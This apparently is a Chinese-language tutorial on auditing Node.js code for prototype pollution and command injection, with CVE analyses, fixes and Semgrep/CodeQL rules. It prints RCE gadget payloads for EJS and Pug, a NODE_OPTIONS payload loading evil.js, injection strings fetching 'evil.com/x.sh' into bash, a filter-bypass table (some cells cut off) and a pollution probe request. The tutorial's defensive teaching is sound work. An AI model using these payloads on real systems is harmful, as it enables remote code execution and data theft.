引言:为什么 Node.js 是审计的"另类战场"

如果你从 Java 或 PHP 审计转过来做 Node.js,第一感觉可能是"代码更短了、坑却更深了"。这种直觉是有根据的。Node.js 生态有几个特性让它成为漏洞挖掘的独特战场:
第一,JavaScript 的原型继承机制天然异于传统面向对象语言。 Java 的类结构在编译期就固化了,而 JavaScript 的对象可以在运行时被任意增删改属性——包括修改"类"本身。这意味着存在一类 Java/PHP 完全没有的漏洞类别:原型链污染(Prototype Pollution)。学术界在 2023 年对 Node.js 生态的历史漏洞做过一次再检测研究,发现即使是当时最先进的检测方案也无法覆盖大多数已知的历史原型链污染记录;扩展后的动态模糊测试在 6 万个真实 npm 包中挖出了 65 个 0day,其中 6 个已获得 CVE 编号。这个数字本身就说明该领域的审计成熟度仍处于早期。
第二,Node.js 是全栈 JavaScript。 前端用的 lodash、后端也用 lodash;浏览器的 jQuery.$.extend 和 Node 端的 _.merge 是同一类危险函数的不同化身。这既让审计经验可以前后端共享,也让攻击者可以从客户端 SSRF/DOM XSS 一路打到服务端 RCE。
第三,npm 依赖树的失控。 一个简单的 npm install express 会拉进上百个间接依赖,其中任何一个包的 mergedefaultsDeepset 函数有问题,都会成为整个应用的阿喀琉斯之踵。lodash 的 CVE-2019-10744 影响版本横跨多年,至今仍能在互联网上找到未修复的存量站点。
第四,异步事件驱动的隐蔽 Sink。 Node.js 中一个 child_process.exec 可能藏在路由处理器的回调深处,也可能在 Promise 链或 async/await 里的某个 helper 函数中。审计时的调用追踪比传统同步代码更复杂。

本文聚焦 Node.js 安全审计中最高频、最容易引发 RCE 的两大主题:原型链污染与命令执行。从 JavaScript 底层机制讲起,拆解漏洞成因,分析真实 CVE 案例,最后给出可直接落地的审计清单与自动化规则。希望读完之后,你面对任何一份 Node.js 项目源码,都能快速定位到最值得深挖的攻击面。

第一章:JavaScript 原型机制——理解漏洞的"第一性原理"

要真正理解原型链污染为什么能发生,必须先回到 JavaScript 语言设计本身。这不是大学课程式的枯燥复习,而是审计时能让你"一眼看穿利用条件"的核心武器。

1.1 每个对象都背着一根"族谱链"

在 JavaScript 中,当你访问对象的属性时,引擎会沿着一条链向上查找:

const obj = {};
obj.foo;              // obj 自身没有 foo
// 引擎查找:obj → obj.__proto__ (即 Object.prototype) → null
// 都没找到,返回 undefined
const arr = [];
arr.map;              // arr 自身没有 map
// 查找链:arr → Array.prototype → Object.prototype → null
// 在 Array.prototype 找到 map

这条链的顶端就是 Object.prototype——所有普通对象的共同祖先。这意味着:

// 一旦你修改了 Object.prototype
Object.prototype.isAdmin = true;
// 那么任何对象都会"继承"这个属性
({}).isAdmin           // true
const user = {name: 'test'};
user.isAdmin           // true ← 用户对象也被污染了

这就是原型链污染的底层原理——向共享的、可变的、全局的祖先对象中注入属性,让所有继承者中招

1.2 三种"触达原型"的写法

攻击者可以通过三种语法路径污染原型,审计时都必须识别:

// 写法 1:__proto__(已被弃用但兼容性最好,攻击者最爱)
obj.__proto__.polluted = true;
// 写法 2:constructor.prototype(经典绕过手法)
obj.constructor.prototype.polluted = true;
// 写法 3:Object.setPrototypeOf(直接调用,通常需要代码上下文)
Object.setPrototypeOf(Object.prototype, {polluted: true});

实战 payload 中最常见的是前两种。为什么攻击者喜欢用 constructor.prototype 绕过?因为很多过滤代码只检测了 __proto__ 关键字,却忘了 constructor 这个属性本身也是可用的。一个典型的 JSON payload:

{
  "constructor": {
    "prototype": {
      "isAdmin": true
    }
  }
}

等价于 obj.constructor.prototype.isAdmin = true绕过逻辑就是利用了"过滤了 proto 但没过滤 constructor"这个常见缺陷

1.3 JSON.parse 本身是安全的——这很反直觉

很多初学者误以为 JSON.parse 会自动污染原型。实际上:

const obj = JSON.parse('{"__proto__": {"x": 1}}');
console.log(obj.__proto__.x);      // undefined
console.log({}.x);                  // undefined ← 没有污染!

JSON.parse 创建的对象确实有个键叫 "__proto__",但它是作为普通属性存在的,不会触发原型链查找。真正危险的是把 JSON.parse 的结果作为参数传给递归 merge / clone / extend 函数时——这些函数内部会遍历所有键(包括 __proto__)并进行赋值操作,obj[key] = value 这种写法就会沿着原型链写入。
这是一个非常关键的认知:漏洞的根源不在 JSON 解析,而在"递归合并"。这个理解将贯穿整篇审计方法。

第二章:原型链污染的成因——从 Sink 入手找漏洞

2.1 高危 Sink 全景表

审计时你需要一个清晰的 Sink 清单。以下按出现频率和危险性排序:

危险函数 / 模块典型调用方式触发条件
lodash.merge / defaultsDeep / mergeWith_.merge(target, userInput)lodash < 4.17.12
jQuery $.extend(true, …)$.extend(true, {}, data)jQuery < 3.4.0(前端)
deepmerge 包deepmerge(target, source)多数版本
express-mock-middleware路由中间件直接展开CVE-2020-7616
express-fileuploadparseNested: true 选项CVE-2020-7699
qs.parseqs.parse(query, {allowPrototypes: false})旧版本默认允许
Hoek (Winston 依赖)Hoek.merge(target, source)hoek < 8.5.1 / < 6.1.4
mongo-sanitize 缺失Mongoose 查询直接接 body误用
自研 merge 函数for(k in src) dst[k] = src[k]任何未过滤场景
特别注意Object.assign()浅拷贝,不会递归进入嵌套对象,因此通常不会导致原型链污染——这是一个常见误区。审计时不要看到 Object.assign 就报警,真正的风险在"递归"型 merge。

2.2 一个最小可复现 PoC

用 lodash 的 CVE-2019-10744 举例,你可以本地搭建:

npm install lodash@4.17.11
// vulnerable.js
const _ = require('lodash');
let obj = {};
_.merge(obj, JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}'));
console.log({}.isAdmin);  // true ← 污染成功

升级到 lodash@4.17.12+ 后,同样的 payload 不再污染原型。

2.3 为什么这个漏洞可以打穿权限模型?

单纯的 isAdmin = true 听起来像玩具,但它能造成严重的认证绕过。很多 Node.js 应用的鉴权代码长这样:

// middleware/auth.js
function isAdmin(user) {
  return user.isAdmin === true;
}
app.get('/admin', (req, res) => {
  if (!isAdmin(req.user)) return res.status(403).send('denied');
  // ...管理员逻辑
});

攻击者不需要黑进数据库改用户表——只要能污染一次 Object.prototype.isAdmin = true任何后续进入应用的 req.user 对象都会自动携带 isAdmin=true(除非该对象自身显式定义了 false)。这就是"改了祖宗、全家中招"的实际杀伤。
更危险的变形是污染 hasOwnProperty

Object.prototype.hasOwnProperty = () => true;
// 所有代码里的 if (obj.hasOwnProperty('password')) 都会误判为 true

或污染 toString / valueOf

Object.prototype.toString = function() { return 'PWNED'; };
// 影响所有日志输出、序列化、字符串拼接——既可隐藏攻击痕迹,也可注入恶意输出

2.4 从"权限绕过"到"远程代码执行"——Gadget 思想

单纯污染一个属性听起来效果有限,但真正让原型链污染成为"高危漏洞"的原因,是它可以配合下游代码中的 Gadget(小机关)链式升级为 RCE
所谓 Gadget,就是"一段本身无害但会读取攻击者可控属性的代码"。当污染让这些属性被意外赋值时,Gadget 就会按攻击者的意图执行。
Gadget 1:EJS 模板引擎 RCE
EJS 模板引擎在编译时会读取一个叫 client / escapeFunction 的选项对象。当原型被污染后:

{
  "constructor": {
    "prototype": {
      "client": true,
      "escapeFunction": "process.mainModule.require('child_process').execSync('cat /flag')"
    }
  }
}

下一次任何路由调用 res.render('xxx.ejs') 时,EJS 会把污染的 escapeFunction 拼接进编译产物中直接执行——一次污染,触发任意 RCE。这是春秋云镜等真实靶场里的经典考题,也是实际攻防中的成熟打法。
Gadget 2:Handlebars AST 注入

{"__proto__": {"pendingContent": "<script>alert(1)</script>"}}

Handlebars 编译模板时会把 pendingContent 拼接进最终输出,污染后即可注入任意内容。
Gadget 3:Pug(Jade)RCE

{
  "__proto__": {
    "block": {
      "type": "Text",
      "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
    }
  }
}

Pug 的编译器从 block 对象读取类型和内容,污染后代码直接进入编译产物。
Gadget 4:child_process.spawn 的 shell / NODE_OPTIONS 选项
这是 Node.js 特有的一个高价值 Gadget。当你调用:

const {spawn} = require('child_process');
spawn('ls', ['-la'], {cwd: '/tmp'});  // options 里没指定 shell 和 env

Node.js 内部会用默认 options 对象——这些默认值来自对 options 对象的属性解构。一旦 Object.prototype 被污染了 shellNODE_OPTIONS,spawn 就会读走污染值:

{
  "__proto__": {
    "shell": "node",
    "NODE_OPTIONS": "--require /proc/self/cwd/evil.js"
  }
}

效果:任何 spawn / exec 调用都会以 node 作为 shell,并通过 NODE_OPTIONS 加载攻击者的 evil.js——间接实现 RCE。这是 PortSwigger 的 Server-Side Prototype Pollution 实战实验室考察的核心技巧。
审计要点总结:看到原型链污染 Sink 时,不要止步于"能污染",要立刻顺藤摸瓜找下游 Gadget。一个污染 Sink + 一个模板渲染 + 一个 child_process = 完整 RCE 链。

第三章:Node.js 命令执行——child_process 的安全盲区

原型链污染是"间接升级到命令执行"的路径,而 Node.js 中更直接、更高频的 RCE 来源是 child_process 模块本身的误用。这一章从 API 差异讲到绕过技巧,帮你建立系统性的审计认知。

3.1 exec / execFile / spawn / fork 四兄弟对比

很多开发者分不清这四个 API 的安全差异,导致大量不必要的命令注入风险。

API是否走 shell接收参数形式默认 maxBuffer典型危险场景
child_process.exec(默认走 /bin/sh 或 cmd.exe)字符串拼接200KB直接拼接用户输入 → RCE
child_process.execFile否(直接 spawn 二进制)数组 + 回调200KB需要管道/重定向时误加 shell:true
child_process.spawn数组(流式输出)无上限Windows 上处理 .bat/.cmd 时被 CVE-2024-27980 打穿
child_process.fork模块路径 + IPC-模块路径可控时任意 JS 加载
核心结论exec 是最危险的,因为它把整个命令字符串交给 shell 解释。execFilespawn 是安全的,前提是不开启 shell 选项

3.2 典型命令注入模式

模式 A:exec 直接拼接

// ❌ 经典漏洞代码
const {exec} = require('child_process');
app.post('/ping', (req, res) => {
  const hostname = req.body.hostname;
  exec(`ping -c 1 ${hostname}`, (err, stdout) => {   // ← 拼接!
    res.send(stdout);
  });
});

攻击者提交 hostname = "127.0.0.1; cat /etc/passwd",shell 把它拆成两条命令依次执行。
模式 B:shell:true + 数组参数的"伪安全"

// ❌ 看起来用了 spawn,其实照样被 shell 解释
const {spawn} = require('child_process');
spawn('echo', ['hello', userInput], {shell: true});

shell: true 时,Node.js 把数组简单用空格拼接成一个字符串交给 shell,用户的 ; rm -rf / 依旧生效。这是大量开发者踩过的坑——Node.js 官方甚至专门发布了 DEP0190 弃用警告,提示"以 shell:true 方式传入 args 数组存在未转义拼接风险"。
模式 C:通过环境变量间接注入

// ⚠️ 看似参数被隔离了,但环境变量也是攻击面
const {exec} = require('child_process');
exec('ls $USER_INPUT_DIR', {env: {...process.env, USER_INPUT_DIR: userDir}});

如果 userDir 是 /tmp; curl evil.com/x.sh|bash$USER_INPUT_DIR 会被 shell 展开,注入完成。
模式 D:模板字符串拼接 + 反引号

// ❌ ES6 模板字符串看起来"高级"了,本质还是拼接
const cmd = `ffmpeg -i ${inputFile} output.mp4`;
exec(cmd);

模式 E:Windows 特有的批处理文件注入(CVE-2024-27980)
2024 年 4 月 Node.js 官方发布的高危漏洞通告值得特别关注:在 Windows 上,即使未启用 shell 选项child_process.spawn / spawnSync 处理 .bat / .cmd 文件时也会被注入。原因在于 Windows 内部会调用 cmd.exe 来执行批处理,而恶意参数可以在这一步被注入任意命令。

影响版本:Node.js 18.x、20.x、21.x 全部在 2024-04-09 之前的版本
触发条件:spawn 一个 .bat 或 .cmd 文件,且参数来自用户

这告诉我们一个深刻教训:即便你按照"最佳实践"用了 spawn + 数组参数,只要环境里有 shell 间接介入(Windows 的 .bat、macOS 的 .app、Linux 的 shebang 脚本),防线依然可能失效。 审计时要把"目标文件是否为脚本类型"列入检查项。

3.3 绕过过滤的实战技巧

开发者常用黑名单过滤,这里列出常见绕过:

过滤逻辑绕过方式
过滤分号 ;&&、`
过滤空格${IFS}$IFS<{cmd,arg} 大括号展开
过滤 cattacmorelessheadtailnlxxdbase64、反斜杠 c\at
过滤 /$PWD~../${HOME:0:1}
过滤关键字双写 cattac、大小写 CaT、嵌套变量 ${x}cat${y}
过滤引号$@$*、反引号
注意:Linux 与 Windows 的 shell 元字符集不同。Windows cmd.exe 支持 &&&、`

3.4 一个完整的审计案例推演

假设拿到一个图片处理服务:

// imageService.js
const express = require('express');
const {exec} = require('child_process');
const app = express();
app.use(express.json());
app.post('/convert', async (req, res) => {
  const {filename, format} = req.body;
  // 简单白名单校验
  if (!['jpg', 'png', 'webp'].includes(format)) {
    return res.status(400).send('bad format');
  }
  // 拼接命令调用 ImageMagick
  exec(`convert /tmp/uploads/${filename} /tmp/out.${format}`, 
    (err, stdout, stderr) => {
      if (err) return res.status(500).send(stderr);
      res.download(`/tmp/out.${format}`);
    });
});

审计思考过程

  1. Sink 识别exec(...) 出现,且参数包含模板字符串拼接。
  2. Source 追踪filename 来自 req.body,用户可控。
  3. 过滤分析format 有白名单,但 filename 没有任何校验。
  4. 利用构造:filename 设为 x.jpg; curl http://evil/shell.sh | bash; #,URL 中的 # 注释掉后续 .jpg 后缀(如果存在后缀校验的话)。
  5. 绕过变形:如果 filename 有 /^[a-z0-9]+\.jpg$/ 校验,攻击者尝试双扩展 shell.sh%00.jpg(已失效,PHP 时代技巧)、或利用 ImageMagick 处理 SVG 时的 fill=url(http://evil/) SSRF 跳板。
    修复代码
// ✅ 使用 execFile + 严格白名单 + 参数数组
const {execFile} = require('child_process');
const path = require('path');
app.post('/convert', async (req, res) => {
  const {filename, format} = req.body;
  
  if (!['jpg', 'png', 'webp'].includes(format)) {
    return res.status(400).send('bad format');
  }
  
  // 白名单字符 + 路径归一化 + 强制限定在 uploads 目录
  if (!/^[a-zA-Z0-9_-]+\.(jpg|png)$/.test(filename)) {
    return res.status(400).send('invalid filename');
  }
  
  const safePath = path.resolve('/tmp/uploads', filename);
  if (!safePath.startsWith('/tmp/uploads/')) {
    return res.status(400).send('path traversal detected');
  }
  
  // execFile 不走 shell,参数以数组传递
  execFile('convert', [safePath, `/tmp/out.${format}`], 
    {timeout: 5000, maxBuffer: 1024 * 1024},
    (err) => {
      if (err) return res.status(500).send('convert failed');
      res.download(`/tmp/out.${format}`);
    });
});

第四章:真实 CVE 深度剖析

4.1 CVE-2019-10744:lodash merge 的世纪之坑

  • 影响组件:lodash < 4.17.12(merge / mergeWith / defaultsDeep 函数)
  • CVSS:9.8(Critical)
  • 根因baseMergeDeep 内部递归复制属性时,未过滤 __proto__constructorprototype 等键,导致 obj[key] = value 触发原型链写入
    利用链延展示
Step 1: 攻击者向 /api/settings 提交 JSON body
        {"constructor": {"prototype": {"admin": true}}}
Step 2: 后端某处调用 _.merge(config, req.body)
Step 3: Object.prototype 被污染 → 所有后续对象都继承 admin=true
Step 4a: 权限中间件被绕过 → 访问管理员接口
Step 4b: 若配合 EJS/Handlebars Gadget → 直接 RCE
Step 4c: 若配合 spawn Gadget (NODE_OPTIONS) → 加载恶意 JS

修复:升级 lodash 至 ≥4.17.12。无法升级的,包装一层安全 merge:

function safeMerge(target, source) {
  for (const key in source) {
    if (['constructor', '__proto__', 'prototype'].includes(key)) continue;
    if (typeof source[key] === 'object' && source[key] !== null) {
      target[key] = target[key] || {};
      safeMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

4.2 CVE-2020-7699:express-fileupload 的 parseNested 陷阱

express-fileupload 是 Node.js 生态最常用的文件上传中间件。它有个选项 parseNested: true,作用是把表单里 a[b][c]=1 这种嵌套 key 解析为对象 {a: {b: {c: 1}}}
问题:早期版本的解析过程未过滤 __proto__,攻击者通过构造 multipart 表单字段名 __proto__[polluted]=1 即可污染原型。

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="__proto__[outputFunctionName]"
x;process.mainModule.require('child_process').execSync('id')
--xxx--

配合 Pug/EJS 模板渲染时的 outputFunctionName Gadget,可直接 RCE。

4.3 CVE-2024-27980:Windows spawn 的 .bat 漏洞

这是近年 Node.js 官方修复的最具代表性的命令注入漏洞,值得反复研究。
技术细节:Windows 上 spawn 一个 .bat / .cmd 文件时,Node.js 内部会通过 cmd.exe /d /s /c "xxx.bat args..." 的方式调用。即使 args 是数组形式传入,cmd.exe 也会把整个拼接后的字符串当作批处理命令解释,攻击者可以在 args 里注入 && 等元字符。
触发代码示例

// ❌ 看似安全的代码
const {spawn} = require('child_process');
spawn('C:\\scripts\\backup.bat', [userInput]);  // userInput = "x&calc"
// Windows 上会执行 backup.bat x & calc → 弹出计算器

修复:升级到 Node.js 18.20.2 / 20.12.2 / 21.7.2 或更高版本。官方修复方案是在 spawn .bat/.cmd 时强制开启 shell: true 并用 cmd.exe 严格的参数转义规则。

第五章:实战审计流程——从零到一吃透一个 Node.js 项目

拿到一份陌生项目源码,建议按以下六步走:

Step 1:依赖体检(15 分钟)

# 列出所有依赖及其版本
npm ls --depth=0 > deps.txt
# 已知漏洞扫描(3 个工具交叉验证)
npm audit --json > audit.json
yarn audit
# 更专业的 SCA 工具
snyk test
trivy fs --scanners vuln .

重点筛查清单

依赖需要警惕的版本范围
lodash< 4.17.21(多轮修复)
jquery< 3.4.0($.extend 污染)
express-fileupload< 1.1.8
hoek< 8.5.1 / < 6.1.4
ejs< 3.1.7
handlebars< 4.7.7
qs< 6.7.3
express-mock-middleware全版本
json5< 2.2.2
node-fetch< 2.6.7 / < 3.2.10

Step 2:Sink 全局扫描(15 分钟)

# 命令执行 Sink
rg -n --type js -e "require\(['\"]child_process" -e "exec\(" -e "execSync" -e "spawn" -e "execFile" src/
# 原型链污染 Sink
rg -n --type js -e "\.merge\(" -e "defaultsDeep" -e "\.extend\(" -e "deepmerge\(" src/
# eval 类
rg -n --type js -e "eval\(" -e "new Function\(" -e "setTimeout\(['\"]" src/
# 动态 require
rg -n --type js "require\([^'\"]" src/

Step 3:Source → Sink 数据流追踪

对每个 Sink,向上追 3-5 层调用,确认参数是否来自:

// 常见 Source
req.body            // POST body
req.query           // URL query
req.params          // 路由参数
req.headers         // HTTP 头(包括 x-forwarded-for)
req.cookies
// 异步场景下的 Source
const data = await fetch(userUrl).then(r => r.json())
const msg = await consumeFromQueue()  // 消息队列
const file = await upload.single('file')  // multipart

Step 4:框架特定 Sink 检查

Express 专项

// 检查 res.render 是否使用了动态模板名
res.render(req.query.tpl)          // ❌ 模板 LFI
// 检查模板引擎版本
// 检查 static 目录是否有敏感路径
app.use(express.static(path.join(__dirname, 'public')))
// ⚠️ 如果 path.join(__dirname, '..') 或根目录就麻烦了

Koa / Nest.js / Fastify 有各自的中间件模式,思路相同但 Sink API 不同。Fastify 常见的 fastify.register 动态加载也需关注。

Step 5:手工验证 PoC

用 Burp/Postman 构造 payload 验证。判断污染是否成功的经典技巧

GET /?__proto__[testpp]=x HTTP/1.1

如果应用在响应任何 JSON 中出现 "testpp": "x" 字段,说明污染成功。也可以用 PortSwigger 的 DOM Invader 自动探测。

Step 6:审计报告

每条漏洞记录:

  • 位置(文件 + 行号)
  • Sink 类型(命令执行 / 原型污染 / 反序列化)
  • 利用前提(需要什么角色/开关/Gadget 配合)
  • PoC 请求示例
  • 影响评级
  • 修复建议 + 替代代码

第六章:自动化审计——把规则写进 CI/CD

6.1 Semgrep 自定义规则

rules:
  # 命令注入检测
  - id: node-child-process-exec-user-input
    languages: [javascript, typescript]
    severity: ERROR
    message: User input flows into child_process.exec - potential command injection
    patterns:
      - pattern-either:
        - pattern: exec($CMD, ...)
        - pattern: execSync($CMD, ...)
        - pattern: $CP.exec($CMD, ...)
      - pattern-not: exec("...", ...)
      - pattern-not: exec('...', ...)
      - metavariable-pattern:
          metavariable: $CMD
          patterns:
            - pattern-either:
              - pattern: $REQ.body.$FIELD
              - pattern: $REQ.query.$FIELD
              - pattern: $REQ.params.$FIELD
  # 危险的原型链污染 Sink
  - id: node-lodash-merge-with-user-input
    languages: [javascript, typescript]
    severity: WARNING
    message: lodash merge with potentially user-controlled source
    patterns:
      - pattern-either:
        - pattern: _.merge($T, $SRC, ...)
        - pattern: _.defaultsDeep($T, $SRC, ...)
      - metavariable-pattern:
          metavariable: $SRC
          patterns:
            - pattern-not: "'...'"
            - pattern-not: '"..."'
  # 递归 merge 函数内部的 __proto__ 缺失过滤
  - id: js-unsafe-recursive-merge
    languages: [javascript]
    severity: ERROR
    message: Recursive merge without __proto__ filtering
    patterns:
      - pattern: |
          for (const $KEY in $SRC) {
            ...
            $DST[$KEY] = $SRC[$KEY];
            ...
          }
      - pattern-not: |
          for (const $KEY in $SRC) {
            ...
            if ($KEY === '__proto__' || ...) continue;
            $DST[$KEY] = $SRC[$KEY];
            ...
          }

6.2 CodeQL 查询模板

/**
 * @name Node.js command injection
 * @description Finds flows from user-controlled sources to child_process.exec
 */
import javascript
import semmle.javascript.security.dataflow.CommandInjectionQuery
from PathNode source, PathNode sink
where CommandInjection::flowPath(source, sink)
select sink.getNode(), "User-controlled data flows to command execution from $@.",
       source.getNode(), "here"
/**
 * @name Prototype pollution via merge
 */
import javascript
class LodashMergeCall extends DataFlow::CallExprNode {
  LodashMergeCall() {
    exists(DataFlow::ModuleMember ref |
      ref.getModule().(DataFlow::SourceNode).referencesModule("lodash") and
      ref.refersTo(_, "merge") and
      this = ref.getACall()
    )
  }
}
from LodashMergeCall call, DataFlow::SourceNode src
where src = call.getArgument(1) and
      src.isUnclear()  // 间接来源需人工复核
select call, "Possible prototype pollution through lodash merge with tainted input"

6.3 运行时防护

即使代码有漏洞,运行时也可以加最后一道防线:

// 应用入口第一行:冻结原型
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);
// ⚠️ 可能影响某些依赖动态扩展原型的库(如旧版 polyfill),需测试
// 使用无原型对象做配置容器
const safeConfig = Object.create(null);
// 过滤 HTTP 请求中的敏感键
app.use((req, res, next) => {
  const sanitize = (obj) => {
    for (const key in obj) {
      if (['__proto__', 'constructor', 'prototype'].includes(key)) {
        delete obj[key];
      } else if (typeof obj[key] === 'object' && obj[key] !== null) {
        sanitize(obj[key]);
      }
    }
    return obj;
  };
  sanitize(req.body);
  sanitize(req.query);
  next();
});

生产可用的库推荐:@bearz/sanitizehapi/hoek 的安全版本、或自研 middleware。更彻底的方案是直接禁用 Object.prototype.__proto__ 的 setter

// Node 12+ 支持
delete Object.prototype.__proto__;  
// 之后任何代码尝试 obj.__proto__ = x 都会被当作普通属性处理

第七章:安全编码规范——从源头减少漏洞

7.1 合并 / 深拷贝的安全替代方案

场景推荐避免
浅合并Object.assign({}, a, b) / {...a, ...b}递归 merge
深拷贝(无函数)structuredClone(obj)(Node 17+ 原生)JSON.parse(JSON.stringify()) 有 Date/Lossless 问题
深拷贝(含函数/Map/Set)lodash.cloneDeep 4.17.21+lodash.merge
配置合并手写白名单合并通用 merge
表单解析express-fileupload ≥ 1.3.0 关闭 parseNested旧版 qs.parse

7.2 child_process 的安全基线

// ✅ 安全模式一:execFile + 数组
const {execFile} = require('child_process');
execFile('convert', [safePath, outputPath], {timeout: 5000}, callback);
// ✅ 安全模式二:spawn + 数组 + 流式
const {spawn} = require('child_process');
const child = spawn('ffmpeg', ['-i', input, '-f', 'mp3', output]);
child.stdout.on('data', d => process.stdout.write(d));
// ✅ 安全模式三:需要 shell 特性时,用 execFile + shell:false 明确声明
execFile('bash', ['-c', 'ls -la | grep foo'], ...);  
// 这样 shell 的解释范围只限于你写的这段静态字符串,用户参数走 argv
// ❌ 绝对禁止
exec(`cmd ${userInput}`);              // 拼接
spawn(cmd, args, {shell: true});        // shell:true + 用户参数
exec(new Function('return ' + cmd)()); // eval 混用

7.3 依赖治理

// package.json 加固
{
  "engines": {"node": ">=20.12.2"},  // 锁定修复版本
  "overrides": {
    "lodash": "^4.17.21",
    "ejs": "^3.1.9"
  },
  "scripts": {
    "preinstall": "npx only-allow npm",
    "audit": "npm audit --audit-level=high"
  }
}

CI/CD 里加三道闸:

  1. PR 阶段:Semgrep / CodeQL 静态扫描
  2. 构建阶段npm audit --production --audit-level=high 失败即拒绝
  3. 部署前:SBOM 生成 + Snyk / Trivy 深扫

结语:从"挖到洞"到"防得住"的思维跃迁

回顾 Node.js 安全的这两大主题——原型链污染与命令执行,你会发现它们之间有一条隐秘的纽带:JavaScript 的灵活性
正因为对象可以在运行时被任意改写,才会出现原型链污染这种其他语言不存在的漏洞类别;正因为 spawn/exec 提供"一行代码调起 shell"的极致便利,才会让无数开发者在不经意间把用户输入送进 shell 解释器。灵活性即风险——这是所有动态语言审计的底色。
从实战视角,我建议你在做 Node.js 审计时养成三个习惯:
习惯一:每次看到 merge / extend / clone 就条件反射地搜"过滤了 proto 没有"。 这是判断项目是否存在原型链污染风险的第一秒动作。
习惯二:每次看到 child_process 就条件反射地问"参数是数组还是拼接?shell 选项是什么?" 并且特别留意 Windows 环境的 .bat/.cmd 场景。
习惯三:找到 Sink 不算审计结束,要顺着数据流反推 Source,并思考下游有没有 Gadget 能升级为 RCE。 一个单纯的权限字段污染可能只是中危,但配合 EJS/Hogan/child_process Gadget 就是 Critical。

最后想说的是,Node.js 的安全生态正在快速成熟。从 Node.js 官方 2024 年开始主动修复 spawn 在 Windows 上的深层缺陷,到学术界用 6 万个 npm 包的模糊测试挖出 65 个 0day,再到 Semgrep/CodeQL 规则库的不断完善——工具和方法论都在快速进步。但工具的进步永远追不上开发者的"创新",审计员真正的价值在于用攻击者的想象力去阅读那些"看起来没问题"的代码
愿你下一次打开 Node.js 项目的 package.json 时,已经知道该往哪里看。

更多推荐